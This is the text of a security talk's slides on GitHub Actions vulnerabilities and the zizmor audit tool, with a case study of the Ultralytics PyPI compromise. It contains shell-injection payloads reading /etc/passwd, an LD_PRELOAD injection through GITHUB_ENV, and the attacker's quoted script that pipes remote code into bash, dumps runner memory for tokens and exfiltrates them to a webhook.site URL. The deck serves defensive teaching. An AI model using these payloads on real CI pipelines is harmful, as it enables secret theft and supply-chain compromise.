Hunting for GitHub Actions bugs with zizmor

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Personal introduction

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Disclosures

- This is not a work talk!
- Opinions herein are my own and do not reflect those of any other party





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Intro to GitHub Actions

GitHub Actions ("GHA")

Workflow definition:

```
on: push
jobs:
    hello:
    run-on: ubuntu-latest
    steps:
        # official GH action
        - uses: actions/checkout@v4
        # non-action step
        - name: say hello
        run: echo 'hello!'
```

- # custom action
- uses: ./custom/action

- GitHub's CI/CD offering
 - Free for OSS, 5 for enterprise
- YAML hell goodness
- Workflows contain interior units of execution
 - One or more jobs (isolated at the runner level)
 - One or more steps per job (all steps on the same runner)
 - Workflows can call actions as steps, which can either be remote (like actions/checkout) or local (path to a dir containing action.yml on the runner)

GitHub Actions

Action definition (action.yml):

```
name: custom action
description: "this is an action"
runs:
```

using: composite

steps:

- # run code
- run: echo 'hello again!'
 shell: bash
- # call another action
- uses: something/else

- Actions define reusable operations
- Official (actions/*), third-party (any repo), and local (local file) actions all exist
- Fully general: actions definitions can run code or call other actions, which themselves can run code
- Execute in the *context of the job* that runs them
 - Access to that job's runner state, including the filesystem
- No significant distinction between the code that runs in a run: step and in an action

Bottom line: GitHub Actions is arbitrary code execution as a service!

GitHub Actions is very powerful

All of these codebase, repo, release tasks require **permissions**.

GHA plugs into GitHub's broader API token/permission model:

- Workflow runs come with a latent secrets.GITHUB_TOKEN
- By default¹, this token has a lot of powers, including **modifying repo contents**
- Workflow authors can up/downscope GITHUB_TOKEN permissions at the workflow/ job/step level with permissions: blocks
 - Permissions are *inherited* from parent job/ workflow if not set, but are *shadowed* if explicitly set

```
permissions:
```

actions: read|write|none
attestations: read|write|none
checks: read|write|none
contents: read|write|none
deployments: read|write|none
id-token: write|none

• • •

permissions: read-all
permissions: write-all
permissions: {}

¹Ref: GitHub Docs: Permissions for the GITHUB_TOKEN

GitHub Actions is very powerful (part 2)

GHA has a **powerful** expression system.

- Most parts of Workflow/Action definitions support *expressions*, typically via \${{ template-expression-here }}
- Expressions can do math, control flow, JSON encode/decode, call (limited) functions, etc.
- Expressions **expand directly into** whatever context references them
 - An if: condition, an env: block, a with: input, a run: body

- Expressions can reference **contexts**, which are JSON objects
 - \${{ secrets.GITHUB_TOKEN }}
- Contexts come from *both* static and dynamic sources
 - Static: runner configuration, GitHub-side state
 - Dynamic: matrix expansions, job/step/ workflow run outputs

<pre>\${{ contains(toJSON(['abc', 'def']), 'abc') }}</pre>	true
<pre>\${{ format('Formatting {0} {1}', 'works', 'too') }}</pre>	'Formatting works too'
<pre>\${{ github.event.pull_request.title }}</pre>	'My super cool PR title'
<pre>\${{ matrix.os }}</pre>	'ubuntu-latest'

GitHub Actions is very powerful (part 3)

GHA is **extremely** dynamic.

Special on-runner files can be used to control/mutate state between steps:

- \$GITHUB_ENV: echo foo=bar >> \${GITHUB_ENV} sets foo=bar in the env for subsequent steps
- \$GITHUB_PATH: echo /mybins >> \${GITHUB_PATH} prepends /mybins to the \$PATH
- \$GITHUB_STATE: like GITHUB_ENV, but prefixes variables with STATE_e.g. STATE_foo
- \$GITHUB_STEP_SUMMARY: can be written to (as Markdown) to present a job summary
 - echo "done! :rocket:" >> "\${GITHUB_STEP_SUMMARY}"

Other special files/states:

- \$GITHUB_EVENT_PATH points to a JSON file containing the full triggering webhook payload
- \$RUNNER_TOOL_CACHE points to a directory containing pre-installed tools from the runner
- \$RUNNER_TEMP points to a tmpdir that gets cleared with each job

Lots more at 🔚 GitHub Actions: Default environment variables

Security in GitHub Actions

Why does Actions security matter?

GHA is wildly popular, and does everything!

release.yml orc release							
					Matria: pin-requirements / test		
	Build and sign artifacts	41s • 🔷 🔮 generate-provenance	45 🔹 🔹 🔹 elease-github	p/ update-pinned-requir 316	 Ø pin-requirements / / 3.10 14; 	• O pin-requirements / create-pr 7s	
					Ø pin-requirements / / 3.11 17s		
			e 🥥 release-pypi		🥝 pin-requirements / / 3.12 🕬		
					pin-requirements / / 3.13 22s		
					pin-requirements / / 3.9 101		
							- +

- Default choice for GitHub, so used by default by millions of developers
 - Corollary: used by developers with a huge range of skill and experience/security background
- Massive range of common uses
 - ▶ Codebase maintenance: linting, formatting, testing, security scanning, ...
 - ▶ Repo maintenance: auto-labeling, inactive PR auto-closing, GitHub page deployments, ...
 - ▶ Release management: distributions that end up on NPM, PyPI, crates.io, etc.
 - Both binary **and** source: official sources *also* often come from CI/CD!

Why does Actions security matter?

Millions of users + powerful and complex feature surface = security fails!

Let's break some workflows!

Find the vulnerability!

```
on: pull_request
jobs:
    hackme:
    runs-on: ubuntu-latest
    steps:
        - run: |
            echo "running on: " ${{ github.event.pull_request.title }}
```

Expressions are expanded verbatim into the context that uses them!

Bypass:

hello; cat /etc/passwd

 \sim

🛛 🥑 🛛 Run echo "running on: " hello; cat /etc/passwd

- 1 ▶ Run echo "running on: " hello; cat /etc/passwd
- 4 running on: hello
- 5 root:x:0:0:root:/root:/bin/bash
- 6 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- 7 bin:x:2:2:bin:/bin:/usr/sbin/nologin
- 8 sys:x:3:3:sys:/dev:/usr/sbin/nologin
- 9 sync:x:4:65534:sync:/bin:/bin/sync

Is this one vulnerable?

```
on: pull_request
jobs:
    hackme:
    runs-on: ubuntu-latest
    steps:
        - run: |
        echo "running on: ${{ github.event.pull_request.title }}"
```



Expressions **do not care** about shell-level quoting, since they're injected before the shell has a chance to parse! No amount of quoting stops them!

Bypass:

```
hello"; cat /etc/passwd; echo "
```

- 🗸 🕑 Run echo "running on: hello"; cat /etc/passwd; echo ""
 - 1 ► Run echo "running on: hello"; cat /etc/passwd; echo ""
 - 4 running on: hello
 - 5 root:x:0:0:root:/root:/bin/bash
 - 6 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 - 7 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 - 8 sys:x:3:3:sys:/dev:/usr/sbin/nologin

Learning to walk: credential leakage/persistence

Find the vulnerability!

```
on: push
jobs:
    hackme:
    runs-on: ubuntu-latest
    steps:
        - uses: actions/checkout@v4
```

```
- run: make
```

```
- name: Upload build
uses: actions/upload-artifact@v4
with:
    name: build
    path: .
```

Learning to walk: credential leakage/persistence

actions/checkout **persists** the github.token credential by default!

```
private asvnc replaceTokenPlaceholder(configPath:
string): Promise<void> {
  assert.ok(configPath, 'configPath is not defined')
  let content = (await
fs.promises.readFile(configPath)).toString()
  const placeholderIndex =
content.indexOf(this.tokenPlaceholderConfigValue)
 if (
    placeholderIndex < 0 ||</pre>
    placeholderIndex !=
content.lastIndexOf(this.tokenPlaceholderConfigValue)
  ) {
    throw new Error(`Unable to replace auth placeholder
in ${configPath}`)
  assert.ok(this.tokenConfigValue, 'tokenConfigValue is
not defined')
  content = content.replace(
    this.tokenPlaceholderConfigValue,
    this.tokenConfigValue
  await fs.promises.writeFile(configPath, content)
```

Persisting the credential is done so that subsequent steps can do git operations without having to pass credentials around.

Any subsequent step can read the .git/config and extract the workflow's default token.

...which means that it's easy to accidentally include .git/config in artifacts (workflows, releases) that then leak the workflow's default credential.

- "Fixed" in actions/upload-artifact@v5 by not including hidden files by default
 - ...breaking tools like coverage.py

Learning to run: GITHUB_ENV and GITHUB_PATH

Find the vulnerability!

```
on:
  pull_request_target:
jobs:
 vulnerable:
    runs-on: ubuntu-latest
    steps:
      - run:
          message=$(echo "$TITLE" \
                      grep -oP '[{\[][^}\]]+[}\]]' \
                      sed 's/{\|}\\[\|\]//g')
          echo "message=$message" >> $GITHUB ENV
        env:
          TITLE: ${{ github.event.pull request.title }}
```

Learning to run: GITHUB_ENV and GITHUB_PATH

GITHUB_ENV is just a file, nothing special. That means we can write multiple lines to it at once! Pull request title:

[foo][LD_PRELOAD=hackme.so] some other content

yields:

```
$ echo "$TITLE" | grep -oP '[{\[][^}\]]+[}\]]' | sed 's/{\|}\|\[\|\]//g'
message=foo
LD_PRELOAD=hackme.so
```

Every subsequent command runs with hackme. so injected into its process!

Bottom line: \$GITHUB_ENV lets us pivot from FS access (typically trivial) to code execution. Same with \$GITHUB_PATH by prepending our controlled directory.

Learning to sprint: cache blasting and poisoning

GHA has services, APIs, and actions for saving/restoring caches:

```
# save/restore
uses: actions/cache
```

```
# also used indirectly in
# official and 3p actions
uses: actions/setup-python
with:
    cache: 'pip'
```

```
uses: actions/setup-go
with:
    cache: true
```

```
uses: ruby/setup-ruby
with:
    bundler-cache: true
```

Caches are **keyed**, and can be restored based on partial key matches (e.g. cache-rustdeps-\$branch-).

"The cache action first searches for cache hits for key and the cache version in the branch containing the workflow run. If there is no hit, it searches for restore-keys and the version. If there are still no hits in the current branch, the cache action retries same steps on the default branch. Please note that the scope restrictions apply during the search. For more information, see Restrictions for accessing a cache."

— 🔚 GitHub docs, Matching a cache key

Learning to sprint: cache blasting and poisoning

😕 . . .how does GHA know which branch a cache restoration candidate is from?

...the branch name is an implicit part of the cache key, computed on the client side!

…how does GHA authenticate cache stores?

...stores are authenticated with ACTIONS_RUNTIME_TOKEN, injected into the runner!

Combined, this is the **perfect recipe** for cache poisoning:

- No authenticated domain separation between caches in branches
 - ...means branches can clobber each others' caches!
- All workflow runs in the repo have access to ACTIONS_RUNTIME_TOKEN
 - ...means unrelated workflows can do 😮 spooky action to each other via their caches
- ACTIONS_RUNTIME_TOKEN is valid for 6 hours, and is **not invalidated by runner teardown**
 - ...means attackers have a decent-sized window for cache stuffing!

Source: 🔚 Adnan Khan: The Monsters in Your Build Cache

Case study: Ultralytics

Ultralytics is a very popular ML vision model, provided as a Python package.

"Ultralytics YOLO11 is a cutting-edge, state-of-the-art (SOTA) [...] that [...]introduces new features and improvements to further boost performance and flexibility."

— Q ultralytics/ultralytics




- ≈ 68M downloads from PyPI
- Hosted on GitHub
- Extensive use of GHA for repo maintenance, community responses, as well as release processes
- Many CI/CD operations intermediated by a bot account (@@UltralyticsAssistant) and custom action (Qultralytics/actions)

Spot the vulnerability!

```
action.yml in ultralytics/actions:
```

```
- name: Commit and Push Changes
if: (github.event_name == 'pull_request' || github.event_name ==
'pull_request_target') && github.event.action != 'closed'
run: |
git config --global user.name "${{ inputs.github_username }}"
git config --global user.email "${{ inputs.github_email }}"
git pull origin ${{ github.head_ref || github.ref }}
```

...called by format.yml in ultralytics/ultralytics, which uses the pull_request_target trigger



Broken down:

```
curl -sSfL \
    raw.githubusercontent.com/ultralytics/ultralytics/
d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh \
    bash
```

file.sh steals the cache token, as well everything else loaded into format.yml's secrets context!

```
AA="webhook.site/9212d4ee-df58-41db-886a-98d180a912e6"
```

```
BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e
03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE
'"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u`
BLOB2=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e
03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE
'"CacheServerUrl":"[^"]*"' | sort -u`
curl -s -d "$BLOB $BLOB2" https://$AA/token > /dev/null
```

Ref: 🔚 GitGuardian



Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027

⊘ Closed

116 comments \cdot 113 hidden items \cdot Fixed by #18111 \odot -

metrizable (Eric Johnson) on Dec 5, 2024 · edited by Y-T-G -

Bug

Code in the published wheel 8.3.41 is not what's in GitHub and appears to invoke mining. Users of ultralytics who install 8.3.41 will unknowingly execute an xmrig miner.

Examining the file utils/download.py, the contents in the published wheel are not representative of what's in GitHub:

Attacker successfully pivoted from injection via format.yml to a compromised release artifact via cache poisoning!

Poisoned via cache: 'pip' use in actions/setup-python.

jobs: publish: if: github.repository == 'ultralytics/ultralytics' && github.actor == 'glenn-jocher' if: github.repository == 'ultralytics/ultralytics'

Commit cb260c2

🕑 UltralyticsAssistant committed on Dec 4, 2024 · 🗸 23 / 26

ultralytics 8.3.41 Version Bump

Release was done fully in CI on push event (rather than a more secure tag or release event).

Push was triggered by the

• @UltralyticsAssistant bot, presumably puppeted by the attacker (who also disabled the actor check on releases).

Attacker probably took over the bot via other exfil'd secrets.

@christophetd @ @vielmetti @ @lazka yes, thank you, those are the correct malicious PRs with code injection in the branch names by a user in Hong Kong late yesterday.

This should be resolved now in ultralytics>=8.3.43 which we just released an hour ago. Please let us know if you spot any further issues in this package.





Abbreviated PyPI events:

2024-12-04 20:51:12 8.3.41 release created 2024-12-04 20:51:15 8.3.41.tar.gz uploaded 2024-12-05 09:15:06 8.3.41 release removed 2024-12-05 12:47:29 8.3.42 release created 2024-12-05 12:47:32 8.3.42.tar.gz uploaded 2024-12-05 13:47:30 8.3.42 release removed

Credit: 🖓 @ewdurbin

Backdoored releases were live on PyPI for less than 24 hours total.



Release hist	tory	
THIS VERSION		8.3.46 about 2 hours ago
		8.3.45
		about 2 hours ago

Maintainers fixed the immediate bug, but **did not revoke** old API credentials!

Attacker originally used Trusted Publishing to upload to PyPI on CI/CD, but was able to fall back on a normal API token that hadn't been deprovisioned.

"The second round of malicious releases came from the attacker using an unrevoked PyPI API token that was still available to the GitHub Actions workflow, potentially a hold-over from before the project adopted Trusted Publishing. This was detectable because there were no corresponding source repository activity or PyPI publish attestations for the second round of releases."

- Seth Larson, S PyPI blog: Ultralytics Analysis

Ultralytics: takeaways

- Attacker obtained *initial access* through an insecure trigger (pull_request_target) combined with an expression injection (\${{ github.head_ref || github.ref }})
- Once running in the context of the parent repo (format.yml), they exfiltrated:
 - ▶ secrets.GITHUB_TOKEN and secrets._GITHUB_TOKEN: runner token and bot PAT respectively
 - ACTIONS_RUNTIME_TOKEN: cache access token
 - secrets.PYPI_TOKEN: PyPI API token (unused due to Trusted Publishing but never removed)
- First round of compromise used cache poisoning (more sophisticated, relatively)
 - Attacker's activities were publicly logged on the Sigstore transparency log!
- Second round of compromise used an exfil'd old API token (less sophisticated)
 - Attacker's activities were not transparent, but reconstructible from public/private events

Bottom line: we got **very lucky** that the attacker did something relatively harmless and noisy!

Hunting for bugs with zizmor 🌈

zizmor detects all of the above, and (much) more. Demo time! Follow along:

pipx install zizmor brew install zizmor cargo install zizmor uv tool install zizmor

or

uvx zizmor ...

zizmor: technical details

Typical "audit tool" architecture:

- Preparation: collect inputs (repos, workflows, actions), register all audits
- Operation: run each audit with each input
- Aggregation: collect & filter all outputs from each output, render as text/SARIF/JSON

```
help[unpinned-uses]: unpinned action reference
  --> post-build/action.yml:34:7
  |
34 | uses: Homebrew/actions/failures-summary-and-bottle-result@master
  |
help: action is not pinned to a hash ref
  |
  = note: audit confidence → High
```

zizmor: technical details

Individual zizmor audits are implementations of the Audit trait:

• ident(), desc(), url(): basic audit metadata (short ID, description, link to audit docs)

Audits can override default implementations for different levels of specificity:

- audit_workflow(workflow): audit the entire workflow definition
- audit_normal_job(job): audit a single non-reusable job in a workflow (called once per job)
- audit_reusable_job(job): audit a single reusable workflow job (called once per job)
- audit_step(step): audit a single step (called once per step × job)
- audit_action(action): audit the entire action definition
- audit_composite_step(step): audit a single step in a composite action (called once per step)

Each can return zero or more Findings, which have one or more Locations, severity, confidence, and so forth.

zizmor: technical details

Trivial example: 🛄 secrets-inherit audit

- Looks for reusable workflow calls that use secrets: inherit
 - These calls over-share the secrets.* context with the caller, violating S PoLA
- Demonstrates multiple locations per finding
 - Locations are expressed symbolically and later concretized into (line, col) spans
- Writing a new audit is easy! Other worthwhile references:
 - template-injection (shows expr handling)
 - Impostor-commit (shows GitHub API use)

```
audit meta!(
    SecretsInherit,
    "secrets-inherit",
    "secrets unconditionally inherited by called workflow"
);
impl Audit for SecretsInherit {
    fn audit reusable iob<'w>(
        &self.
        iob: &super::Job<'w>.
    ) -> anyhow::Result<Vec<super::Finding<'w>>>> {
        let mut findings = vec![];
        let Job::ReusableWorkflowCallJob(reusable) = job.deref() else {
             return Ok(findings);
        };
        if matches!(reusable.secrets, Some(Secrets::Inherit)) {
            findings.push(
                Self::finding()
                     .add location(
                        iob.location()
                             .primary()
                             .with keys(&["uses".into()])
                             .annotated("this reusable workflow").
                     .add location(
                        job.location()
                             .with keys(&["secrets".into()])
                             .annotated("inherits all parent secrets"),
                     .confidence(Confidence::High)
                     .severity(crate::finding::Severity::Medium)
                     .build(iob.parent())?.
           );
        Ok(findings)
```

zizmor: technical challenges

How do we model GHA's complicated workflow/action contents?

Problem: Extremely large S JSON schema, codegen support is limited in Rust.

Solution: wrote **O** github-actions-models: high-quality data models for GitHub Actions workflow, action, Dependabot definitions.

How do we turn "symbolic" YAML into "concrete" spans?

Problem: No mature span-preserving YAML parser for Rust. Also **Serde-yaml** is deprecated².

Solution: wrote **O** yamlpath to concretize abstract paths like jobs.test.steps[0].name, without needing parse-time spans.

```
use github_actions_models::workflow::Workflow;
```

```
let wf = serde_yaml::from_str<Workflow>(&workflow_yaml).unwrap();
```

```
for (name, job) in &wf.jobs { /* ... */ }
```

```
<sup>2</sup>We still depend on it for the models, but not spanning.
```

Takeaways

- GitHub Actions is complicated and has numerous security footguns
- Most users are normal devs, not CI/CD experts, meaning they're **extra** susceptible to insecure defaults
- Offensive research into GHA is still pretty new
 - Initial public efforts in ≈ 2021, new techniques and attacks being discovered still
 - ► Cache poisoning in particular is actively being explored (≥ 2024)
- It's simultaneously easy to analyze ("just" YAML) and very difficult (extremely dynamic)
- zizmor can detect many security pitfalls, but not with perfect fidelity
 - In part because of design choices (e.g. offline auditing), in part because of GHA's fundamental dynamism

Thanks!

Slides are available at: https://yossarian.net/publications#fosdem-2025

Get involved: woodruffw/zizmor

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Resources:

- 🔚 zizmor user documentation
- 🔚 Adnan Khan: The Monsters in Your Build Cache
- 🔚 GitGuardian: Ultralytics analysis



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